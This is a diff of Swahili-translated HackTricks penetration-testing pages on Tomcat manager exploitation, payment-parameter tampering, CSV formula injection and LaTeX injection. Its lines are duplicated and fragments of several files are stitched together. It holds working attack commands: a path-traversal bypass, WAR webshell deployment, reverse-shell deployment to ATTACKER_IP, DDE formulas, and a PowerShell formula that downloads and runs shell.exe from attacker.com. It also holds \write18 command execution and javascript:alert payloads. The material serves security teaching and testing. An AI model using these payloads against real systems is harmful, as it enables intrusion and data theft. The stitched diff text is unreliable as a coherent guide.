Katika [**mipangilio inayoweza kudhurika ya Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) unaweza kupata ufikiaji kwenye saraka zilizolindwa katika Tomcat kwa kutumia njia: `/..;/`
Kwa hivyo, kwa mfano, unaweza **kupata ukurasa wa msimamizi wa Tomcat** kwa kufikia: `www.vulnerable.com/lalala/..;/manager/html`
**Njia nyingine** ya kuepuka njia zilizolindwa kwa kutumia hila hii ni kufikia `http://www.vulnerable.com/;param=value/manager/html`
**Njia nyingine** ya kuzidi njia zilizolindwa kwa kutumia hila hii ni kufikia `http://www.vulnerable.com/;param=value/manager/html`
## RCE
Hatimaye, ikiwa una ufikiaji kwenye Meneja wa Programu ya Wavuti ya Tomcat, unaweza **kupakia na kutekeleza faili ya .war (kutekeleza msimbo)**.
Hatimaye, ikiwa una ufikiaji kwenye Meneja wa Programu ya Wavuti ya Tomcat, unaweza **kupakia na kutekeleza faili ya .war (utekelezaji wa nambari)**.
### Vizuizi
@ -129,7 +133,7 @@ curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell
```
### Metasploit
Metasploit ni chombo cha nguvu cha kufanya uchambuzi wa usalama na uchunguzi wa kina wa usalama wa mtandao.
Metasploit is a powerful tool used for penetration testing. It provides a wide range of exploits, payloads, and auxiliary modules to help security professionals in the penetration testing process. Metasploit can be used to test the security of web applications, including those running on Apache Tomcat servers.
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
@ -154,13 +158,13 @@ Katika hali fulani hii haifanyi kazi (kwa mfano toleo za zamani za sun)
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Reverse shell
#### Kitanzi cha Nyuma
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Bind shell
#### Shell ya Kufunga
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
@ -201,9 +205,11 @@ jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
### Mbinu ya Kufanya Kwa Mkono 2
Unaweza pia kusakinisha hii (inaruhusu kupakia, kupakua na utekelezaji wa amri): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
Pata kabidilishi wa wavuti wa JSP kama [hii](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) na unda faili ya WAR:
### Mbinu ya Mikono 2
Pata ganda la wavuti la JSP kama [hili](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) na unda faili ya WAR:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
@ -232,18 +238,18 @@ msf> use post/windows/gather/enum_tomcat
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,7 +4,7 @@
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana kwenye HackTricks**? au ungependa kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -14,15 +14,15 @@
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Epuka kukimbia kama root
### Epuka kukimbia kwa mizizi
Ili kuepuka kukimbia Tomcat kama root, usanidi wa kawaida sana ni kuweka seva ya Apache kwenye bandari 80/443 na, ikiwa njia inayohitajika inalingana na regexp, ombi linatumwa kwa Tomcat ikikimbia kwenye bandari tofauti.
Ili kuepuka kukimbia Tomcat kwa mizizi, usanidi wa kawaida sana ni kuweka seva ya Apache kwenye bandari 80/443 na, ikiwa njia inayohitajika inalingana na regexp, ombi linatumwa kwa Tomcat ukiendesha kwenye bandari tofauti.
### Muundo wa Kawaida
```
@ -73,8 +73,8 @@ webapps/customapp
└── classes
└── AdminServlet.class
```
Faili muhimu zaidi kati ya hizi ni `WEB-INF/web.xml`, inayojulikana kama maelezo ya kupeleka. Faili hii hifadhi **taarifa kuhusu njia** zinazotumiwa na programu na darasa zinazoshughulikia njia hizo.\
Darasa zote zilizopangiliwa zinazotumiwa na programu zinapaswa kuhifadhiwa kwenye folda ya `WEB-INF/classes`. Darasa hizi zinaweza kuwa na mantiki muhimu ya biashara pamoja na taarifa nyeti. Upungufu wowote katika faili hizi unaweza kusababisha kuvamiwa kwa jumla kwa tovuti. Folda ya `lib` inahifadhi maktaba zinazohitajika na programu hiyo maalum. Folda ya `jsp` inahifadhi [Kurasa za Seva za Jakarta (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), hapo awali inayojulikana kama `JavaServer Pages`, ambayo inaweza kulinganishwa na faili za PHP kwenye seva ya Apache.
Faili muhimu zaidi kati ya haya ni `WEB-INF/web.xml`, ambalo hujulikana kama maelezo ya kupeleka. Faili hili hifadhi **taarifa kuhusu njia** zinazotumiwa na programu na darasa zinazoshughulikia njia hizo.\
Darasa zote zilizopangiliwa zinazotumiwa na programu zinapaswa kuhifadhiwa kwenye folda ya `WEB-INF/classes`. Darasa hizi zinaweza kuwa na mantiki muhimu ya biashara pamoja na taarifa nyeti. Upungufu wowote katika faili hizi unaweza kusababisha kuvamiwa kwa jumla kwa tovuti. Folda ya `lib` hifadhi maktaba zinazohitajika na programu hiyo maalum. Folda ya `jsp` hifadhi [Kurasa za Seva za Jakarta (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), hapo awali inayojulikana kama `JavaServer Pages`, ambayo inaweza kulinganishwa na faili za PHP kwenye seva ya Apache.
Hapa kuna mfano wa faili ya **web.xml**.
```xml
@ -94,15 +94,15 @@ Hapa kuna mfano wa faili ya **web.xml**.
</servlet-mapping>
</web-app>
```
Konfigurisheni ya `web.xml` hapo juu inadefini **servlet mpya inayoitwa `AdminServlet`** ambayo imepangiliwa kwa **darasa `com.inlanefreight.api.AdminServlet`**. Java hutumia notesheni ya mshale kuunda majina ya pakiti, maana njia kwenye diski kwa darasa lililodefni hapo juu itakuwa:
Konfigurisheni ya `web.xml` hapo juu inadefini **servlet mpya inayoitwa `AdminServlet`** ambayo imepangwa kwa **darasa `com.inlanefreight.api.AdminServlet`**. Java hutumia maelezo ya nukta kutengeneza majina ya paketi, maana njia kwenye diski kwa darasa lililofafanuliwa hapo juu itakuwa:
* **`classes/com/inlanefreight/api/AdminServlet.class`**
Kisha, kielekezi kipya cha servlet kinajengwa ili **kupanga maombi kwa `/admin` na `AdminServlet`**. Usanidi huu utapeleka ombi lolote lililopokelewa kwa **`/admin` kwa darasa la `AdminServlet.class`** kwa usindikaji. Mwambaa wa **`web.xml`** una taarifa nyingi **nyeti** na ni faili muhimu ya kuangalia unapotumia **udhaifu wa Ujumuishaji wa Faili za Kienyeji (LFI)**.
Kisha, kielekezi kipya cha servlet kinajengwa ili **kupanga maombi kwa `/admin` na `AdminServlet`**. Usanidi huu utapeleka ombi lolote lililopokelewa kwa **`/admin` kwa darasa la `AdminServlet.class`** kwa usindikaji. Mwambaa wa **`web.xml`** una taarifa nyingi **nyeti** na ni faili muhimu ya kuangalia unapotumia kasoro ya **Ufichuaji wa Faili za Kienyeji (LFI)**.
### tomcat-users
Faili ya **`tomcat-users.xml`** hutumiwa ku **ruhusu** au kukataza upatikanaji wa kurasa za admin za **`/manager` na `host-manager`**.
Faili ya **`tomcat-users.xml`** hutumiwa ku **ruhusu** au kukataza ufikiaji wa kurasa za usimamizi za **`/manager` na `host-manager`**.
```xml
<?xml version="1.0" encoding="UTF-8"?>
@ -151,18 +151,18 @@ Faili linaonyesha ni nini kila jukumu la `manager-gui`, `manager-script`, `manag
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -16,7 +16,7 @@ Njia nyingine za kusaidia HackTricks:
**Kikundi cha Usalama cha Kujitahidi**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -28,33 +28,33 @@ Njia nyingine za kusaidia HackTricks:
Wakati wa mchakato wa shughuli, ni muhimu kufuatilia data inayobadilishwa kati ya mteja na seva. Hii inaweza kufanywa kwa kudukua maombi yote. Ndani ya maombi haya, angalia vigezo vyenye athari kubwa, kama vile:
- **Mafanikio**: Kigezo hiki mara nyingi huonyesha hali ya shughuli.
- **Referrer**: Inaweza kuelekeza chanzo ambacho ombi lilitokea.
- **Kurudi kwa Wito**: Kawaida hutumiwa kwa kumrudisha mtumiaji baada ya shughuli kukamilika.
- **Mwambaa**: Inaweza kuashiria chanzo ambacho ombi lilianzia.
- **Kurudi kwa Wito**: Kawaida hutumika kwa kumwongoza mtumiaji baada ya shughuli kukamilika.
### Uchambuzi wa URL
Ikiwa unakutana na kigezo kinachojumuisha URL, hasa moja inayofuata muundo _mfano.com/malipo/MD5HASH_, inahitaji uchunguzi wa karibu. Hapa kuna njia ya hatua kwa hatua:
Ikiwa unakutana na kigezo kinachojumuisha URL, hasa moja inayofuata mfano _mfano.com/malipo/MD5HASH_, inahitaji uchunguzi wa karibu. Hapa kuna njia ya hatua kwa hatua:
1. **Nakili URL**: Chukua URL kutoka kwa thamani ya kigezo.
2. **Uchunguzi wa Dirisha Jipya**: Fungua URL iliyonakiliwa kwenye dirisha jipya la kivinjari. Hatua hii ni muhimu kwa kuelewa matokeo ya shughuli.
### Udukuzi wa Vigezo
1. **Badilisha Thamani za Kigezo**: Jaribu kubadilisha thamani za vigezo kama _Mafanikio_, _Referrer_, au _Kurudi kwa Wito_. Kwa mfano, kubadilisha kigezo kutoka `uwongo` hadi `kweli` mara nyingine inaweza kufunua jinsi mfumo unavyoshughulikia matokeo haya.
2. **Ondoa Vigezo**: Jaribu kuondoa baadhi ya vigezo kabisa kuona jinsi mfumo unavyojibu. Baadhi ya mifumo inaweza kuwa na mbadala au tabia za msingi wakati vigezo vinavyotarajiwa havipo.
### Ubadilishaji wa Vigezo
1. **Badilisha Thamani za Vigezo**: Jaribu kubadilisha thamani za vigezo kama _Mafanikio_, _Mwambaa_, au _Kurudi kwa Wito_. Kwa mfano, kubadilisha kigezo kutoka `uwongo` hadi `kweli` mara nyingine inaweza kufunua jinsi mfumo unavyoshughulikia matokeo haya.
2. **Ondoa Vigezo**: Jaribu kuondoa baadhi ya vigezo kabisa kuona jinsi mfumo unavyojibu. Baadhi ya mifumo inaweza kuwa na mbinu mbadala au tabia za msingi wakati vigezo vinavyotarajiwa havipo.
### Udukuzi wa Kuki
1. **Angalia Kuki**: Tovuti nyingi huhifadhi habari muhimu kwenye kuki. Angalia kuki hizi kwa data yoyote inayohusiana na hali ya malipo au uthibitishaji wa mtumiaji.
1. **Chunguza Kuki**: Tovuti nyingi huhifadhi habari muhimu kwenye kuki. Angalia kuki hizi kwa data yoyote inayohusiana na hali ya malipo au uthibitishaji wa mtumiaji.
2. **Badilisha Thamani za Kuki**: Badilisha thamani zilizohifadhiwa kwenye kuki na uone jinsi jibu au tabia ya tovuti inavyobadilika.
### Utekapu wa Kikao
1. **Vidakuzi vya Kikao**: Ikiwa vidakuzi vya kikao vinatumika katika mchakato wa malipo, jaribu kuviteka na kuvibadilisha. Hii inaweza kutoa ufahamu wa mapungufu katika usimamizi wa kikao.
1. **Vidakuzi vya Kikao**: Ikiwa vitambulisho vya kikao vinatumika katika mchakato wa malipo, jaribu kuviteka na kuvibadilisha. Hii inaweza kutoa ufahamu wa mapungufu katika usimamizi wa kikao.
### Udukuzi wa Majibu
### Ubadilishaji wa Majibu
1. **Dukua Majibu**: Tumia zana kudukua na kuchambua majibu kutoka kwa seva. Tafuta data yoyote inayoweza kuashiria shughuli iliyofanikiwa au kufunua hatua inayofuata katika mchakato wa malipo.
2. **Badilisha Majibu**: Jaribu kubadilisha majibu kabla ya kusindika na kivinjari au programu ili kusimuliza hali ya shughuli iliyofanikiwa.
2. **Badilisha Majibu**: Jaribu kubadilisha majibu kabla ya kusindikwa na kivinjari au programu ili kusimuliza hali ya shughuli iliyofanikiwa.
**Kikundi cha Usalama cha Kujitahidi**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,7 +26,7 @@ Njia nyingine za kusaidia HackTricks:
### Taarifa
Ikiwa **kuingizwa kwako** kunakuwa **kimeakisiwa** ndani ya **faili za CSV** (au faili yoyote ambayo labda itafunguliwa na **Excel**), unaweza kuweka **fomula za Excel** ambazo zita **tekelezwa** wakati mtumiaji **anafungua faili** au wakati mtumiaji **anabonyeza kiungo** ndani ya karatasi ya Excel.
Ikiwa **kuingizwa kwako** kunakuwa **kimeakisiwa** ndani ya **faili za CSV** (au faili yoyote ambayo labda itafunguliwa na **Excel**), unaweza kuweka **fomula za Excel** ambazo zitatekelezwa wakati mtumiaji **anafungua faili** au anapobonyeza kiungo fulani ndani ya karatasi ya Excel.
{% hint style="danger" %}
Leo hii **Excel itatoa tahadhari** (mara kadhaa) kwa **mtumiaji wakati kitu kinapakuliwa kutoka nje ya Excel** ili kumzuia kufanya kitendo cha uovu. Kwa hivyo, juhudi maalum za Uhandisi wa Kijamii lazima zitumike kwa mzigo wa mwisho.
@ -43,30 +43,30 @@ DDE ("cmd";"/C calc";"!A0")A0
```
### Kiungo
**Mfano ufuatao ni muhimu sana kwa kuchukua maudhui kutoka kwenye karatasi ya mwisho ya Excel na kufanya maombi kwa maeneo ya kupendelea. Lakini inahitaji mtumiaji bonyeza kiungo (na kukubali onyo).**
**Mfano ufuatao ni muhimu sana kwa kuchukua maudhui kutoka kwenye karatasi ya mwisho ya Excel na kufanya maombi kwa maeneo yasiyotabirika. Lakini inahitaji mtumiaji bonyeza kiungo (na kukubali onyo).**
Mfano ufuatao ulichukuliwa kutoka [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Fikiria uvunjaji wa usalama katika mfumo wa Usimamizi wa Rekodi za Wanafunzi unaochunguzwa kupitia shambulio la kuingiza CSV. Nia kuu ya muhusika ni kuhatarisha mfumo unaotumiwa na walimu kusimamia maelezo ya wanafunzi. Mbinu inahusisha muhusika kuingiza mzigo mbaya kwenye programu, hasa kwa kuingiza fomula zenye madhara kwenye maeneo yanayolenga maelezo ya wanafunzi. Shambulio linatokea kama ifuatavyo:
Fikiria uvunjaji wa usalama katika mfumo wa Usimamizi wa Rekodi za Wanafunzi unaochunguzwa kupitia shambulio la kuingiza CSV. Nia kuu ya muhusika ni kuhatarisha mfumo unaotumiwa na walimu kusimamia maelezo ya wanafunzi. Mbinu inahusisha muhusika kuingiza mzigo mbaya kwenye programu, hasa kwa kuingiza fomula zenye madhara kwenye maeneo yanayolenga maelezo ya wanafunzi. Shambulio linavyoendelea kama ifuatavyo:
1. **Kuingiza Mzigo Mbaya:**
* Muhusika anawasilisha fomu ya maelezo ya mwanafunzi lakini anajumuisha fomula inayotumiwa kawaida kwenye karatasi za kielektroniki (k.m., `=HYPERLINK("<malicious_link>","Bonyeza hapa")`).
* Fomula hii imeundwa kujenga kiungo, lakini inaelekeza kwenye seva mbaya inayodhibitiwa na muhusika.
* Fomula hii imeundwa kujenga kiungo, lakini inaelekeza kwenye seva yenye madhara inayodhibitiwa na muhusika.
2. **Kuuza Data Iliyohatarishwa:**
* Walimu, bila kujua kuhusu tishio, hutumia utendaji wa programu kuuza data kwenye faili ya CSV.
* Faili ya CSV, ikifunguliwa, bado ina mzigo mbaya. Mzigo huu unaonekana kama kiungo kinachoweza kubonyezwa kwenye karatasi ya kielektroniki.
3. **Kuzindua Shambulio:**
* Mwalimu anabonyeza kiungo, akiamini kuwa sehemu halali ya maelezo ya mwanafunzi.
* Baada ya kubonyeza, data nyeti (ikiwa ni pamoja na maelezo kutoka kwenye karatasi ya kielektroniki au kompyuta ya mwalimu) inatumwa kwenye seva ya muhusika.
* Mwalimu anabonyeza kiungo, akiamini ni sehemu halali ya maelezo ya mwanafunzi.
* Baada ya kubonyeza, data nyeti (inaweza kujumuisha maelezo kutoka kwenye karatasi ya kielektroniki au kompyuta ya mwalimu) inatumwa kwenye seva ya muhusika.
4. **Kuingiza Data:**
* Seva ya muhusika inapokea na kuingiza data nyeti iliyotumwa kutoka kwenye kompyuta ya mwalimu.
* Muhusika anaweza kutumia data hii kwa madhumuni mbaya mbalimbali, ikahatarisha zaidi faragha na usalama wa wanafunzi na taasisi.
* Muhusika anaweza kutumia data hii kwa madhumuni mabaya mbalimbali, kuhatarisha zaidi faragha na usalama wa wanafunzi na taasisi.
### RCE
**Angalia** [**chapisho la awali**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **kwa maelezo zaidi.**
**Angalia** [**chapisho la asili**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **kwa maelezo zaidi.**
Katika mipangilio maalum au toleo za zamani za Excel, kipengele kinachoitwa Dynamic Data Exchange (DDE) kinaweza kutumiwa kutekeleza amri za kupendelea. Ili kutumia hili, mipangilio ifuatayo lazima iwezeshwe:
Katika mipangilio maalum au toleo za zamani za Excel, kipengele kinachoitwa Dynamic Data Exchange (DDE) kinaweza kutumiwa kutekeleza amri za kiholela. Ili kutumia hili, mipangilio ifuatayo lazima iwezeshwe:
* Nenda kwa Faili → Chaguo → Kituo cha Kuaminika → Mipangilio ya Kituo cha Kuaminika → Yaliyomo ya Nje, na wezesha **Uzinduzi wa Seva ya Kubadilishana Data ya Kudumu**.
@ -74,7 +74,7 @@ Wakati karatasi ya kielektroniki yenye mzigo mbaya inapofunguliwa (na ikiwa mtum
```markdown
`=cmd|' /C calc'!xxx`
```
Unaweza pia kutekeleza amri zaidi, kama vile kupakua na kutekeleza faili kutumia PowerShell:
Makomandi ya ziada pia yanaweza kutekelezwa, kama vile kupakua na kutekeleza faili kutumia PowerShell:
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
@ -101,11 +101,11 @@ Google Sheets inatoa kazi ambazo zinaweza kutumiwa kwa utoaji wa data wa OOB:
## Uingizaji wa LaTeX
Kawaida seva ambazo utazipata kwenye mtandao zinatumia **`pdflatex`** kubadilisha msimbo wa LaTeX kuwa PDF.\
Programu hii hutumia sifa 3 kuu kwa ajili ya kutekeleza au kutokutekeleza amri:
Programu hii hutumia sifa 3 kuu kwa ajili ya kuruhusu/kuzuia utekelezaji wa amri:
* **`--no-shell-escape`**: **Zima** ujenzi wa `\write18{amri}`, hata kama umewezeshwa kwenye faili ya texmf.cnf.
* **`--shell-restricted`**: Sawa na `--shell-escape`, lakini **imepunguzwa** kwa seti 'salama' ya **amri zilizopangwa** (\*\*Kwenye Ubuntu 16.04 orodha iko katika `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Washa** ujenzi wa `\write18{amri}`. Amri inaweza kuwa amri yoyote ya kabati. Ujenzi huu kawaida unazuiliwa kwa sababu za usalama.
* **`--no-shell-escape`**: **Zima** ujenzi wa `\write18{amri}`, hata kama imezimwa kwenye faili ya texmf.cnf.
* **`--shell-restricted`**: Sawa na `--shell-escape`, lakini **imepunguzwa** kwa seti 'salama' ya **amri zilizopangwa** (\*\*Kwenye Ubuntu 16.04 orodha iko kwenye `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Ruhusu** ujenzi wa `\write18{amri}`. Amri inaweza kuwa amri yoyote ya terminali. Ujenzi huu kawaida unazuiliwa kwa sababu za usalama.
Hata hivyo, kuna njia nyingine za kutekeleza amri, hivyo ili kuepuka RCE ni muhimu sana kutumia `--shell-restricted`.
@ -144,9 +144,9 @@ Inaweza kuhitaji kurekebisha uingizaji na vifungashio kama \[ au $.
\write\outfile{Hello-world}
\closeout\outfile
```
### Kutumia Amri <a href="#command-execution" id="command-execution"></a>
### Kutumia amri <a href="#command-execution" id="command-execution"></a>
Kuingiza amri kutoka kwa stdin, tumia faili la muda kupata hiyo.
Kuingiza amri kutapelekwa kwa stdin, tumia faili la muda kupata hiyo.
```bash
\immediate\write18{env > output}
\input{output}
@ -186,7 +186,7 @@ Kutoka [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Uingizaji wa Ghostscript
## Kuingiza Ghostscript
**Angalia** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
@ -199,20 +199,20 @@ Kutoka [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
